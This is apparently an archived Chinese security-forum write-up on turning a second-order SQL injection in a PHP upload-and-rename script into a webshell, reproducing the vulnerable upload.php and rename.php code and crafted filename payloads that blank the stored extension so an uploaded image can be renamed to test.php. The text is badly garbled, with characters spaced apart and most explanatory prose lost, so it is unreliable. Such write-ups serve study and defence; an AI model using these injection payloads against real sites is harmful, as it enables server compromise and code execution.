[804] 2018-04-08_文件上传的二次注入导致getshell

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-16
2018-04-08_文件上传的二次注入导致getshell g e t s h e l l   H 4 l o   B u g K u   2 0 1 8 - 0 4 - 0 8 稿 稿   E m a i l a d m i n @ b u g k u . c o m H 4 l o b y p a s s p h p 0 x 0 0   c o m m o n . i n c . p h p u p l o a d . p h p i n s e r t f o r e a c h ( a r r a y ( $ _ G E T ,   $ _ P O S T ,   $ _ C O O K I E )   a s   $ g l o b a l _ v a r )   {         f o r e a c h ( $ g l o b a l _ v a r   a s   $ k e y   = >   $ v a l u e )   {                 i s _ s t r i n g ( $ v a l u e )   & &   $ r e q [ $ k e y ]   =   a d d s l a s h e s ( $ v a l u e ) ;         } ( $ _ F I L E S )         $ f i l e   =   $ _ F I L E S [ " u p f i l e " ] ;         i f ( $ f i l e [ " e r r o r " ]   = =   U P L O A D _ E R R _ O K )   {                 $ n a m e   =   b a s e n a m e ( $ f i l e [ " n a m e " ] ) ;                 $ p a t h _ p a r t s   =   p a t h i n f o ( $ n a m e ) ; / / p a t h i n f o                 i f ( ! i n _ a r r a y ( $ p a t h _ p a r t s [ " e x t e n s i o n " ] ,   a r r a y ( " g i f " ,   " j p g " ,   " p n g " ,   " z i p " ,   " t x t " ) ) )   {                         e x i t ( " e r r o r   e x t e n s i o n " ) ;
t e s t . j p g                 }                 $ p a t h _ p a r t s [ " e x t e n s i o n " ]   =   " . "   .   $ p a t h _ p a r t s [ " e x t e n s i o n " ] ;                 $ n a m e   =   $ p a t h _ p a r t s [ " f i l e n a m e " ]   .   $ p a t h _ p a r t s [ " e x t e n s i o n " ] ;                 $ p a t h _ p a r t s [ ' f i l e n a m e ' ]   =   a d d s l a s h e s ( $ p a t h _ p a r t s [ ' f i l e n a m e ' ] ) ;                 / / f i l e n a m e                 $ s q l   =   " s e l e c t   *   f r o m   ` f i l e `   w h e r e   ` f i l e n a m e ` = ' { $ p a t h _ p a r t s [ ' f i l e n a m e ' ] } '   a n d   ` e x t e n s i o n ` = ' { $ p a t h _ p a r t s [ ' e x t e n s i o n ' ] } ' "                 $ f e t c h   =   $ d b - > q u e r y ( $ s q l ) ;                 i f ( $ f e t c h - > n u m _ r o w s > 0 )   {                         e x i t ( " f i l e   i s   e x i s t s " ) ;                 }                 / / e c h o   $ f i l e [ " t m p _ n a m e " ] ,   R O O T   .   U P L O A D _ D I R   .   $ n a m e ;                 i f ( m o v e _ u p l o a d e d _ f i l e ( $ f i l e [ " t m p _ n a m e " ] ,   R O O T   .   U P L O A D _ D I R   .   $ n a m e ) )   {                         $ s q l   =   " i n s e r t   i n t o   ` f i l e `   (   ` f i l e n a m e ` ,   ` v i e w ` ,   ` e x t e n s i o n ` )   v a l u e s (   ' { $ p a t h _ p a r t s [ ' f i l e n a m e ' ] } ' ,   0 ,   ' { $ p a t h _ p a r t s [ ' e x t e n s i o n ' ] } ' ) "                         $ r e   =   $ d b - > q u e r y ( $ s q l ) ;                         i f ( ! $ r e )   {                                 e c h o   ' e r r o r ' ;                                 p r i n t _ r ( $ d b - > e r r o r ) ;                                 e x i t ;                         }                         $ u r l   =   " / "   .   U P L O A D _ D I R   .   $ n a m e ;                         e c h o   " Y o u r   f i l e   i s   u p l o a d ,   u r l :                                 < a   h r e f = " { $ u r l } "   t a r g e t = ' _ b l a n k ' > { $ u r l } < / a > < b r / >                                 < a   h r e f = " / " > g o   b a c k < / a > " ;                 }   e l s e   {                         e x i t ( " u p l o a d   e r r o r " ) ;                 }         }   e l s e   {                 p r i n t _ r ( e r r o r _ g e t _ l a s t ( ) ) ;                 e x i t ;         }
0 x 0 1   r e n a m e . p h p r e n a m e . p h p $ r e q [ ' o l d n a m e ' ] $ r e q [ ' n e w n a m e ' ] $ r e q [ ' o l d n a m e ' ] $ r e q [ ' n e w n a m e ' ]
使 u p d a t a u p l o a d 使 a d d s l a s h e s < ? p h p / * *   *   C r e a t e d   b y   P h p S t o r m .   *   U s e r :   p h i t h o n   *   D a t e :   1 5 / 1 0 / 1 4   *   T i m e :   9 : 3 9   * / r e q u i r e _ o n c e   " c o m m o n . i n c . p h p " ; d e f i n e ( ' R O O T ' , d i r n a m e ( _ _ F I L E _ _ ) . ' / ' ) ;   ( i s s e t ( $ r e q [ ' o l d n a m e ' ] )   & &   i s s e t ( $ r e q [ ' n e w n a m e ' ] ) )   {         $ r e s u l t   =   $ d b - > q u e r y ( " s e l e c t   *   f r o m   ` f i l e `   w h e r e   ` f i l e n a m e ` = ' { $ r e q [ ' o l d n a m e ' ] } ' " ) ;         i f   ( $ r e s u l t - > n u m _ r o w s > 0 )   {                 $ r e s u l t   =   $ r e s u l t - > f e t c h _ a s s o c ( ) ;         } e l s e {                 e x i t ( " o l d   f i l e   d o e s n ' t   e x i s t s ! " ) ;         }         i f ( $ r e s u l t )   {                 $ r e q [ ' n e w n a m e ' ]   =   b a s e n a m e ( $ r e q [ ' n e w n a m e ' ] ) ;                 $ r e   =   $ d b - > q u e r y ( " u p d a t e   ` f i l e `   s e t   ` f i l e n a m e ` = ' { $ r e q [ ' n e w n a m e ' ] } ' ,   ` o l d n a m e ` = ' { $ r e s u l t [ ' f i l e n a m e ' ] } '   w h e r e   ` f i d ` = { $ r e s u l t [ ' f i d ' ] } "                 i f ( ! $ r e )   {                         p r i n t _ r ( $ d b - > e r r o r I n f o ( ) ) ;                         e x i t ;                 }                 $ o l d n a m e   =   R O O T . U P L O A D _ D I R   .   $ r e s u l t [ " f i l e n a m e " ] . $ r e s u l t [ " e x t e n s i o n " ] ;                 $ n e w n a m e   =   R O O T . U P L O A D _ D I R   .   $ r e q [ " n e w n a m e " ] . $ r e s u l t [ " e x t e n s i o n " ] ;                 i f ( f i l e _ e x i s t s ( $ o l d n a m e ) )   {                         r e n a m e ( $ o l d n a m e ,   $ n e w n a m e ) ;                         $ u r l   =   " / "   .   $ n e w n a m e ;                         e c h o   " Y o u r   f i l e   i s   r e n a m e ,   u r l :                                 < a   h r e f = " { $ u r l } "   t a r g e t = ' _ b l a n k ' > { $ u r l } < / a > < b r / >                                 < a   h r e f = " / " > g o   b a c k < / a > " ;                 }                 e l s e { e c h o   $ o l d n a m e . "   n o t   e x i s t s . " ; }         }
h t t p s : / / w w w . c n b l o g s . c o m / i c h u n q i u / p / 5 8 5 2 3 3 0 . h t m l 0 x 0 2   u p l o a d ' , e x t e n s i o n = ' ' , f i l e n a m e = ' t e s t . j p g . j p g u p l o a d r e n a m e . p h p t e s t . j p g
u p d a t e ' , e x t e n s i o n = ' ' , f i l e n a m e = ' t e s t . j p g f i l e n a m e t e s t . j p g t e s t . j p g . j p g 0 x 0 3   t e s t . j p g r e n a m e . p h p t e s t . p h p u p d a t e   ` f i l e `   s e t   ` f i l e n a m e ` = ' t e s t . j p g ' ,   ` o l d n a m e ` = ' ' , e x t e n s i o n = ' ' , f i l e n a m e = ' t e s t . j p g '   w h e r e
$ r e s u l t [ " e x t e n s i o n " ] r e n a m e n e w n a m e t e s t . p h p p h p g e t s h e l l ' , e x t e n s i o n = ' ' , f i l e n a m e = ' t e s t . p h p . j p g r e n a m e . p h p t e s t . p h p . j p g 0 x 0 4   ' , e x t e n s i o n = ' ' , f i l e n a m e = ' t e s t . j p g . j p g . j p g u p d a t e $ o l d n a m e   =   R O O T . U P L O A D _ D I R   .   $ r e s u l t [ " f i l e n a m e " ] . $ r e s u l t [ " e x t e n s i o n "                 $ n e w n a m e   =   R O O T . U P L O A D _ D I R   .   $ r e q [ " n e w n a m e " ] . $ r e s u l t [ " e x t e n s i o n " ] ;                 i f ( f i l e _ e x i s t s ( $ o l d n a m e ) )   {                         r e n a m e ( $ o l d n a m e ,   $ n e w n a m e ) ; u p d a t e   ` f i l e `   s e t   ` f i l e n a m e ` = ' t e s t . j p g ' ,   ` o l d n a m e ` = ' ' , e x t e n s i o n = ' ' , f i l e n a m e = ' t e s t '   w h e r e   ` f i d ` = 2
 
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则